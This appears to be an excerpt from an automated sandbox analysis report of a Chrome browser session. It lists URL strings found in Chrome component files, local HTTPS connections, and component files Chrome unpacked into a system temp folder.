Source: sets.json.0.dr	String found in binary or memory: https://aajtak.in
Source: sets.json.0.dr	String found in binary or memory: https://abczdrowie.pl
Source: sets.json.0.dr	String found in binary or memory: https://alice.tw
Source: sets.json.0.dr	String found in binary or memory: https://ambitionbox.com
Source: sets.json.0.dr	String found in binary or memory: https://autobild.de
Source: sets.json.0.dr	String found in binary or memory: https://baomoi.com
Source: sets.json.0.dr	String found in binary or memory: https://bild.de
Source: sets.json.0.dr	String found in binary or memory: https://blackrock.com
Source: sets.json.0.dr	String found in binary or memory: https://blackrockadvisorelite.it
Source: sets.json.0.dr	String found in binary or memory: https://bluradio.com
Source: sets.json.0.dr	String found in binary or memory: https://bolasport.com
Source: sets.json.0.dr	String found in binary or memory: https://bonvivir.com
Source: sets.json.0.dr	String found in binary or memory: https://bumbox.com
Source: sets.json.0.dr	String found in binary or memory: https://businessinsider.com.pl
Source: sets.json.0.dr	String found in binary or memory: https://businesstoday.in
Source: sets.json.0.dr	String found in binary or memory: https://cachematrix.com
Source: sets.json.0.dr	String found in binary or memory: https://cafemedia.com
Source: sets.json.0.dr	String found in binary or memory: https://caracoltv.com
Source: sets.json.0.dr	String found in binary or memory: https://carcostadvisor.be
Source: sets.json.0.dr	String found in binary or memory: https://carcostadvisor.com
Source: sets.json.0.dr	String found in binary or memory: https://carcostadvisor.fr
Source: sets.json.0.dr	String found in binary or memory: https://cardsayings.net
Source: sets.json.0.dr	String found in binary or memory: https://chatbot.com
Source: optimization-hints.pb.0.dr	String found in binary or memory: https://checkout-new.dafiti.com.br/success/index.html.
Source: optimization-hints.pb.0.dr	String found in binary or memory: https://checkout.casasbahia.com.br/compra-finalizada
Source: optimization-hints.pb.0.dr	String found in binary or memory: https://checkout.extra.com.br/compra-finalizada
Source: optimization-hints.pb.0.dr	String found in binary or memory: https://checkout.pontofrio.com.br/compra-finalizada
Source: sets.json.0.dr	String found in binary or memory: https://chennien.com
Source: sets.json.0.dr	String found in binary or memory: https://citybibleforum.org
Source: sets.json.0.dr	String found in binary or memory: https://clarosports.com
Source: sets.json.0.dr	String found in binary or memory: https://clmbtech.com
Source: sets.json.0.dr	String found in binary or memory: https://closeronline.co.uk
Source: sets.json.0.dr	String found in binary or memory: https://clubelpais.com.uy
Source: sets.json.0.dr	String found in binary or memory: https://cmxd.com.mx
Source: sets.json.0.dr	String found in binary or memory: https://cognitive-ai.ru
Source: sets.json.0.dr	String found in binary or memory: https://cognitiveai.ru
Source: sets.json.0.dr	String found in binary or memory: https://commentcamarche.com
Source: sets.json.0.dr	String found in binary or memory: https://commentcamarche.net
Source: optimization-hints.pb.0.dr	String found in binary or memory: https://comprasegura.olx.com.br/
Source: optimization-hints.pb.0.dr	String found in binary or memory: https://comprasegura.olx.com.br/pedidos/.
Source: sets.json.0.dr	String found in binary or memory: https://computerbild.de
Source: sets.json.0.dr	String found in binary or memory: https://content-loader.com
Source: sets.json.0.dr	String found in binary or memory: https://cookreactor.com
Source: LICENSE.txt.0.dr	String found in binary or memory: https://creativecommons.org/.
Source: LICENSE.txt.0.dr	String found in binary or memory: https://creativecommons.org/compatiblelicenses
Source: sets.json.0.dr	String found in binary or memory: https://cricbuzz.com
Source: sets.json.0.dr	String found in binary or memory: https://css-load.com
Source: sets.json.0.dr	String found in binary or memory: https://deccoria.pl
Source: sets.json.0.dr	String found in binary or memory: https://deere.com
Source: sets.json.0.dr	String found in binary or memory: https://desimartini.com
Source: sets.json.0.dr	String found in binary or memory: https://dewarmsteweek.be
Source: sets.json.0.dr	String found in binary or memory: https://drimer.io
Source: sets.json.0.dr	String found in binary or memory: https://drimer.travel
Source: optimization-hints.pb.0.dr	String found in binary or memory: https://dump-truck.appspot.com/.
Source: LICENSE.txt.0.dr	String found in binary or memory: https://easylist.to/)
Source: sets.json.0.dr	String found in binary or memory: https://economictimes.com
Source: sets.json.0.dr	String found in binary or memory: https://een.be
Source: sets.json.0.dr	String found in binary or memory: https://efront.com
Source: sets.json.0.dr	String found in binary or memory: https://eleconomista.net
Source: sets.json.0.dr	String found in binary or memory: https://elfinancierocr.com
Source: sets.json.0.dr	String found in binary or memory: https://elgrafico.com
Source: sets.json.0.dr	String found in binary or memory: https://ella.sv
Source: sets.json.0.dr	String found in binary or memory: https://elpais.com.uy
Source: sets.json.0.dr	String found in binary or memory: https://elpais.uy
Source: optimization-hints.pb.0.dr	String found in binary or memory: https://emv-qr.googleplex.com/.
Source: sets.json.0.dr	String found in binary or memory: https://etfacademy.it
Source: sets.json.0.dr	String found in binary or memory: https://eworkbookcloud.com
Source: sets.json.0.dr	String found in binary or memory: https://eworkbookrequest.com
Source: sets.json.0.dr	String found in binary or memory: https://fakt.pl
Source: sets.json.0.dr	String found in binary or memory: https://finn.no
Source: sets.json.0.dr	String found in binary or memory: https://firstlook.biz
Source: sets.json.0.dr	String found in binary or memory: https://gallito.com.uy
Source: sets.json.0.dr	String found in binary or memory: https://geforcenow.com
Source: chromecache_140.2.dr, chromecache_127.2.dr	String found in binary or memory: https://getbootstrap.com)
Source: chromecache_132.2.dr, chromecache_136.2.dr	String found in binary or memory: https://getbootstrap.com/)
Source: sets.json.0.dr	String found in binary or memory: https://gettalkdesk.com
Source: LICENSE.txt.0.dr	String found in binary or memory: https://github.com/easylist)
Source: chromecache_140.2.dr, chromecache_132.2.dr, chromecache_127.2.dr, chromecache_136.2.dr	String found in binary or memory: https://github.com/twbs/bootstrap/blob/master/LICENSE)
Source: chromecache_140.2.dr, chromecache_132.2.dr, chromecache_127.2.dr, chromecache_136.2.dr	String found in binary or memory: https://github.com/twbs/bootstrap/graphs/contributors)
Source: sets.json.0.dr	String found in binary or memory: https://gliadomain.com
Source: sets.json.0.dr	String found in binary or memory: https://gnttv.com
Source: optimization-hints.pb.0.dr	String found in binary or memory: https://google-wallet-ccr-salvador.pagmob.com.br/pay
Source: sets.json.0.dr	String found in binary or memory: https://graziadaily.co.uk
Source: sets.json.0.dr	String found in binary or memory: https://grid.id
Source: sets.json.0.dr	String found in binary or memory: https://gridgames.app
Source: sets.json.0.dr	String found in binary or memory: https://growthrx.in
Source: sets.json.0.dr	String found in binary or memory: https://grupolpg.sv
Source: sets.json.0.dr	String found in binary or memory: https://gujaratijagran.com
Source: sets.json.0.dr	String found in binary or memory: https://hapara.com
Source: sets.json.0.dr	String found in binary or memory: https://hazipatika.com
Source: sets.json.0.dr	String found in binary or memory: https://hc1.com
Source: sets.json.0.dr	String found in binary or memory: https://hc1.global
Source: sets.json.0.dr	String found in binary or memory: https://hc1cas.com
Source: sets.json.0.dr	String found in binary or memory: https://hc1cas.global
Source: sets.json.0.dr	String found in binary or memory: https://healthshots.com
Source: sets.json.0.dr	String found in binary or memory: https://hearty.app
Source: sets.json.0.dr	String found in binary or memory: https://hearty.gift
Source: sets.json.0.dr	String found in binary or memory: https://hearty.me
Source: sets.json.0.dr	String found in binary or memory: https://heartymail.com
Source: sets.json.0.dr	String found in binary or memory: https://heatworld.com
Source: sets.json.0.dr	String found in binary or memory: https://helpdesk.com
Source: sets.json.0.dr	String found in binary or memory: https://hindustantimes.com
Source: sets.json.0.dr	String found in binary or memory: https://hj.rs
Source: sets.json.0.dr	String found in binary or memory: https://hjck.com
Source: sets.json.0.dr	String found in binary or memory: https://html-load.cc
Source: sets.json.0.dr	String found in binary or memory: https://html-load.com
Source: sets.json.0.dr	String found in binary or memory: https://human-talk.org
Source: sets.json.0.dr	String found in binary or memory: https://idbs-cloud.com
Source: sets.json.0.dr	String found in binary or memory: https://idbs-dev.com
Source: sets.json.0.dr	String found in binary or memory: https://idbs-eworkbook.com
Source: sets.json.0.dr	String found in binary or memory: https://idbs-staging.com
Source: sets.json.0.dr	String found in binary or memory: https://img-load.com
Source: sets.json.0.dr	String found in binary or memory: https://indiatimes.com
Source: sets.json.0.dr	String found in binary or memory: https://indiatoday.in
Source: sets.json.0.dr	String found in binary or memory: https://indiatodayne.in
Source: sets.json.0.dr	String found in binary or memory: https://infoedgeindia.com
Source: sets.json.0.dr	String found in binary or memory: https://interia.pl
Source: sets.json.0.dr	String found in binary or memory: https://intoday.in
Source: sets.json.0.dr	String found in binary or memory: https://iolam.it
Source: sets.json.0.dr	String found in binary or memory: https://ishares.com
Source: sets.json.0.dr	String found in binary or memory: https://jagran.com
Source: sets.json.0.dr	String found in binary or memory: https://johndeere.com
Source: sets.json.0.dr	String found in binary or memory: https://journaldesfemmes.com
Source: sets.json.0.dr	String found in binary or memory: https://journaldesfemmes.fr
Source: sets.json.0.dr	String found in binary or memory: https://journaldunet.com
Source: sets.json.0.dr	String found in binary or memory: https://journaldunet.fr
Source: sets.json.0.dr	String found in binary or memory: https://joyreactor.cc
Source: sets.json.0.dr	String found in binary or memory: https://joyreactor.com
Source: sets.json.0.dr	String found in binary or memory: https://kaksya.in
Source: sets.json.0.dr	String found in binary or memory: https://knowledgebase.com
Source: sets.json.0.dr	String found in binary or memory: https://kompas.com
Source: sets.json.0.dr	String found in binary or memory: https://kompas.tv
Source: sets.json.0.dr	String found in binary or memory: https://kompasiana.com
Source: sets.json.0.dr	String found in binary or memory: https://lanacion.com.ar
Source: sets.json.0.dr	String found in binary or memory: https://landyrev.com
Source: sets.json.0.dr	String found in binary or memory: https://landyrev.ru
Source: sets.json.0.dr	String found in binary or memory: https://laprensagrafica.com
Source: sets.json.0.dr	String found in binary or memory: https://lateja.cr
Source: sets.json.0.dr	String found in binary or memory: https://libero.it
Source: sets.json.0.dr	String found in binary or memory: https://linternaute.com
Source: sets.json.0.dr	String found in binary or memory: https://linternaute.fr
Source: sets.json.0.dr	String found in binary or memory: https://livechat.com
Source: sets.json.0.dr	String found in binary or memory: https://livechatinc.com
Source: sets.json.0.dr	String found in binary or memory: https://livehindustan.com
Source: sets.json.0.dr	String found in binary or memory: https://livemint.com
Source: optimization-hints.pb.0.dr	String found in binary or memory: https://m.aliexpress.com/p/second-payment/pay-result.html?.
Source: optimization-hints.pb.0.dr	String found in binary or memory: https://m.americanas.com.br/compra/pix.
Source: sets.json.0.dr	String found in binary or memory: https://max.auto
Source: sets.json.0.dr	String found in binary or memory: https://medonet.pl
Source: sets.json.0.dr	String found in binary or memory: https://meo.pt
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.cl
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.co.cr
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com.ar
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com.bo
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com.co
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com.do
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com.ec
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com.gt
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com.hn
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com.mx
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com.ni
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com.pa
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com.pe
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com.py
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com.sv
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com.uy
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com.ve
Source: sets.json.0.dr	String found in binary or memory: https://mercadolivre.com
Source: sets.json.0.dr	String found in binary or memory: https://mercadolivre.com.br
Source: sets.json.0.dr	String found in binary or memory: https://mercadopago.cl
Source: sets.json.0.dr	String found in binary or memory: https://mercadopago.com
Source: sets.json.0.dr	String found in binary or memory: https://mercadopago.com.ar
Source: sets.json.0.dr	String found in binary or memory: https://mercadopago.com.br
Source: sets.json.0.dr	String found in binary or memory: https://mercadopago.com.co
Source: sets.json.0.dr	String found in binary or memory: https://mercadopago.com.ec
Source: sets.json.0.dr	String found in binary or memory: https://mercadopago.com.mx
Source: sets.json.0.dr	String found in binary or memory: https://mercadopago.com.pe
Source: sets.json.0.dr	String found in binary or memory: https://mercadopago.com.uy
Source: sets.json.0.dr	String found in binary or memory: https://mercadopago.com.ve
Source: sets.json.0.dr	String found in binary or memory: https://mercadoshops.cl
Source: sets.json.0.dr	String found in binary or memory: https://mercadoshops.com
Source: sets.json.0.dr	String found in binary or memory: https://mercadoshops.com.ar
Source: sets.json.0.dr	String found in binary or memory: https://mercadoshops.com.br
Source: sets.json.0.dr	String found in binary or memory: https://mercadoshops.com.co
Source: sets.json.0.dr	String found in binary or memory: https://mercadoshops.com.mx
Source: sets.json.0.dr	String found in binary or memory: https://mighty-app.appspot.com
Source: sets.json.0.dr	String found in binary or memory: https://mightytext.net
Source: sets.json.0.dr	String found in binary or memory: https://mittanbud.no
Source: sets.json.0.dr	String found in binary or memory: https://money.pl
Source: sets.json.0.dr	String found in binary or memory: https://motherandbaby.com
Source: sets.json.0.dr	String found in binary or memory: https://mystudentdashboard.com
Source: sets.json.0.dr	String found in binary or memory: https://nacion.com
Source: sets.json.0.dr	String found in binary or memory: https://naukri.com
Source: sets.json.0.dr	String found in binary or memory: https://nidhiacademyonline.com
Source: sets.json.0.dr	String found in binary or memory: https://nien.co
Source: sets.json.0.dr	String found in binary or memory: https://nien.com
Source: sets.json.0.dr	String found in binary or memory: https://nien.org
Source: sets.json.0.dr	String found in binary or memory: https://nlc.hu
Source: sets.json.0.dr	String found in binary or memory: https://nosalty.hu
Source: sets.json.0.dr	String found in binary or memory: https://noticiascaracol.com
Source: sets.json.0.dr	String found in binary or memory: https://nourishingpursuits.com
Source: sets.json.0.dr	String found in binary or memory: https://nvidia.com
Source: sets.json.0.dr	String found in binary or memory: https://o2.pl
Source: sets.json.0.dr	String found in binary or memory: https://ocdn.eu
Source: sets.json.0.dr	String found in binary or memory: https://onet.pl
Source: sets.json.0.dr	String found in binary or memory: https://ottplay.com
Source: sets.json.0.dr	String found in binary or memory: https://p106.net
Source: sets.json.0.dr	String found in binary or memory: https://p24.hu
Source: sets.json.0.dr	String found in binary or memory: https://paula.com.uy
Source: sets.json.0.dr	String found in binary or memory: https://pdmp-apis.no
Source: sets.json.0.dr	String found in binary or memory: https://phonandroid.com
Source: sets.json.0.dr	String found in binary or memory: https://player.pl
Source: sets.json.0.dr	String found in binary or memory: https://plejada.pl
Source: sets.json.0.dr	String found in binary or memory: https://poalim.site
Source: sets.json.0.dr	String found in binary or memory: https://poalim.xyz
Source: sets.json.0.dr	String found in binary or memory: https://pomponik.pl
Source: sets.json.0.dr	String found in binary or memory: https://portalinmobiliario.com
Source: sets.json.0.dr	String found in binary or memory: https://prisjakt.no
Source: sets.json.0.dr	String found in binary or memory: https://pudelek.pl
Source: sets.json.0.dr	String found in binary or memory: https://punjabijagran.com
Source: sets.json.0.dr	String found in binary or memory: https://radio1.be
Source: sets.json.0.dr	String found in binary or memory: https://radio2.be
Source: sets.json.0.dr	String found in binary or memory: https://reactor.cc
Source: sets.json.0.dr	String found in binary or memory: https://repid.org
Source: sets.json.0.dr	String found in binary or memory: https://reshim.org
Source: optimization-hints.pb.0.dr	String found in binary or memory: https://rsolomakhin.github.io/pix/.
Source: sets.json.0.dr	String found in binary or memory: https://rws1nvtvt.com
Source: sets.json.0.dr	String found in binary or memory: https://rws2nvtvt.com
Source: sets.json.0.dr	String found in binary or memory: https://rws3nvtvt.com
Source: sets.json.0.dr	String found in binary or memory: https://sackrace.ai
Source: optimization-hints.pb.0.dr	String found in binary or memory: https://sacolamobile.magazineluiza.com.br/#/comprovante
Source: sets.json.0.dr	String found in binary or memory: https://salemoveadvisor.com
Source: sets.json.0.dr	String found in binary or memory: https://salemovefinancial.com
Source: sets.json.0.dr	String found in binary or memory: https://salemovetravel.com
Source: sets.json.0.dr	String found in binary or memory: https://samayam.com
Source: sets.json.0.dr	String found in binary or memory: https://sapo.io
Source: sets.json.0.dr	String found in binary or memory: https://sapo.pt
Source: optimization-hints.pb.0.dr	String found in binary or memory: https://secure.epocacosmeticos.com.br/checkout/#/payment.
Source: optimization-hints.pb.0.dr	String found in binary or memory: https://secure.vivara.com.br/checkout?orderFormId=.
Source: sets.json.0.dr	String found in binary or memory: https://shock.co
Source: optimization-hints.pb.0.dr	String found in binary or memory: https://shopee.com.br/payment/.
Source: sets.json.0.dr	String found in binary or memory: https://smaker.pl
Source: sets.json.0.dr	String found in binary or memory: https://smoney.vn
Source: sets.json.0.dr	String found in binary or memory: https://smpn106jkt.sch.id
Source: sets.json.0.dr	String found in binary or memory: https://socket-to-me.vip
Source: sets.json.0.dr	String found in binary or memory: https://songshare.com
Source: sets.json.0.dr	String found in binary or memory: https://songstats.com
Source: sets.json.0.dr	String found in binary or memory: https://sporza.be
Source: sets.json.0.dr	String found in binary or memory: https://standardsandpraiserepurpose.com
Source: sets.json.0.dr	String found in binary or memory: https://startlap.hu
Source: sets.json.0.dr	String found in binary or memory: https://startupislandtaiwan.com
Source: sets.json.0.dr	String found in binary or memory: https://startupislandtaiwan.net
Source: sets.json.0.dr	String found in binary or memory: https://startupislandtaiwan.org
Source: sets.json.0.dr	String found in binary or memory: https://stripe.com
Source: sets.json.0.dr	String found in binary or memory: https://stripe.network
Source: sets.json.0.dr	String found in binary or memory: https://stripecdn.com
Source: sets.json.0.dr	String found in binary or memory: https://supereva.it
Source: sets.json.0.dr	String found in binary or memory: https://takeabreak.co.uk
Source: sets.json.0.dr	String found in binary or memory: https://talkdeskqaid.com
Source: sets.json.0.dr	String found in binary or memory: https://talkdeskstgid.com
Source: sets.json.0.dr	String found in binary or memory: https://teacherdashboard.com
Source: sets.json.0.dr	String found in binary or memory: https://technology-revealed.com
Source: sets.json.0.dr	String found in binary or memory: https://terazgotuje.pl
Source: sets.json.0.dr	String found in binary or memory: https://text.com
Source: sets.json.0.dr	String found in binary or memory: https://textyserver.appspot.com
Source: sets.json.0.dr	String found in binary or memory: https://the42.ie
Source: sets.json.0.dr	String found in binary or memory: https://thejournal.ie
Source: sets.json.0.dr	String found in binary or memory: https://thirdspace.org.au
Source: sets.json.0.dr	String found in binary or memory: https://timesinternet.in
Source: sets.json.0.dr	String found in binary or memory: https://timesofindia.com
Source: sets.json.0.dr	String found in binary or memory: https://tolteck.app
Source: sets.json.0.dr	String found in binary or memory: https://tolteck.com
Source: sets.json.0.dr	String found in binary or memory: https://top.pl
Source: sets.json.0.dr	String found in binary or memory: https://tribunnews.com
Source: sets.json.0.dr	String found in binary or memory: https://trytalkdesk.com
Source: sets.json.0.dr	String found in binary or memory: https://tucarro.com
Source: sets.json.0.dr	String found in binary or memory: https://tucarro.com.co
Source: sets.json.0.dr	String found in binary or memory: https://tucarro.com.ve
Source: sets.json.0.dr	String found in binary or memory: https://tvid.in
Source: sets.json.0.dr	String found in binary or memory: https://tvn.pl
Source: sets.json.0.dr	String found in binary or memory: https://tvn24.pl
Source: sets.json.0.dr	String found in binary or memory: https://unotv.com
Source: sets.json.0.dr	String found in binary or memory: https://victorymedium.com
Source: sets.json.0.dr	String found in binary or memory: https://vrt.be
Source: sets.json.0.dr	String found in binary or memory: https://vwo.com
Source: sets.json.0.dr	String found in binary or memory: https://welt.de
Source: sets.json.0.dr	String found in binary or memory: https://wieistmeineip.de
Source: sets.json.0.dr	String found in binary or memory: https://wildix.com
Source: sets.json.0.dr	String found in binary or memory: https://wildixin.com
Source: sets.json.0.dr	String found in binary or memory: https://wingify.com
Source: sets.json.0.dr	String found in binary or memory: https://wordle.at
Source: sets.json.0.dr	String found in binary or memory: https://wp.pl
Source: sets.json.0.dr	String found in binary or memory: https://wpext.pl
Source: optimization-hints.pb.0.dr	String found in binary or memory: https://www.amazon.com.br/gp/buy/thankyou/handlers/display.html
Source: optimization-hints.pb.0.dr	String found in binary or memory: https://www.anacapri.com.br/checkout/order-confirmation/.
Source: optimization-hints.pb.0.dr	String found in binary or memory: https://www.arezzo.com.br/checkout/order-confirmation/.
Source: sets.json.0.dr	String found in binary or memory: https://www.asadcdn.com
Source: optimization-hints.pb.0.dr	String found in binary or memory: https://www.centauro.com.br/checkouts/confirmacao/.
Source: optimization-hints.pb.0.dr	String found in binary or memory: https://www.cobasi.com.br/checkout/review.
Source: optimization-hints.pb.0.dr	String found in binary or memory: https://www.elo7.com.br/buyer/order/.
Source: optimization-hints.pb.0.dr	String found in binary or memory: https://www.fastshop.com.br/web/checkout-v2/pagamento/confirmacao.
Source: optimization-hints.pb.0.dr	String found in binary or memory: https://www.hering.com.br/checkout/#/payment
Source: optimization-hints.pb.0.dr	String found in binary or memory: https://www.hurb.com/br/pay/checkout/.
Source: optimization-hints.pb.0.dr	String found in binary or memory: https://www.ifood.com.br/pedidos/aguardando-pagamento/.
Source: optimization-hints.pb.0.dr	String found in binary or memory: https://www.madeiramadeira.com.br/carrinho/finalizar-pedido/.
Source: optimization-hints.pb.0.dr	String found in binary or memory: https://www.motorola.com.br/checkout/#/payment
Source: optimization-hints.pb.0.dr	String found in binary or memory: https://www.natura.com.br/pedido-concluido/.
Source: optimization-hints.pb.0.dr	String found in binary or memory: https://www.netshoes.com.br/checkout/confirmation/.
Source: optimization-hints.pb.0.dr	String found in binary or memory: https://www.paodeacucar.com/checkout.
Source: optimization-hints.pb.0.dr	String found in binary or memory: https://www.petz.com.br/checkout/confirmation/.
Source: optimization-hints.pb.0.dr	String found in binary or memory: https://www.riachuelo.com.br/successpage
Source: optimization-hints.pb.0.dr	String found in binary or memory: https://www.schutz.com.br/checkout/order-confirmation/.
Source: optimization-hints.pb.0.dr	String found in binary or memory: https://www.sephora.com.br/checkout/success/.
Source: optimization-hints.pb.0.dr	String found in binary or memory: https://www.ultrafarma.com.br/checkout/confirmacao/.
Source: optimization-hints.pb.0.dr	String found in binary or memory: https://www.zattini.com.br/checkout/confirmation/.
Source: optimization-hints.pb.0.dr	String found in binary or memory: https://www.zzmall.com.br/checkout/order-confirmation/.
Source: sets.json.0.dr	String found in binary or memory: https://ya.ru
Source: sets.json.0.dr	String found in binary or memory: https://yours.co.uk
Source: sets.json.0.dr	String found in binary or memory: https://zalo.me
Source: sets.json.0.dr	String found in binary or memory: https://zdrowietvn.pl
Source: sets.json.0.dr	String found in binary or memory: https://zingmp3.vn
Source: sets.json.0.dr	String found in binary or memory: https://zoom.com
Source: sets.json.0.dr	String found in binary or memory: https://zoom.us

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64134 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64134
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_1681393890	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_1681393890\sets.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_1681393890\manifest.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_1681393890\LICENSE	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_1681393890\_metadata\	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_1681393890\_metadata\verified_contents.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_1681393890\manifest.fingerprint	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_166897035	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_166897035\Google.Widevine.CDM.dll	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_166897035\manifest.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_166897035\_metadata\	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_166897035\_metadata\verified_contents.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_166897035\manifest.fingerprint	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_782846124	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_782846124\LICENSE.txt	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_782846124\Filtering Rules	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_782846124\manifest.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_782846124\_metadata\	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_782846124\_metadata\verified_contents.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_782846124\manifest.fingerprint	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_439772201	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_439772201\cr_en-us_500000_index.bin	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_439772201\manifest.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_439772201\_metadata\	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_439772201\_metadata\verified_contents.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_439772201\manifest.fingerprint	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_1460670100	Jump to behavior
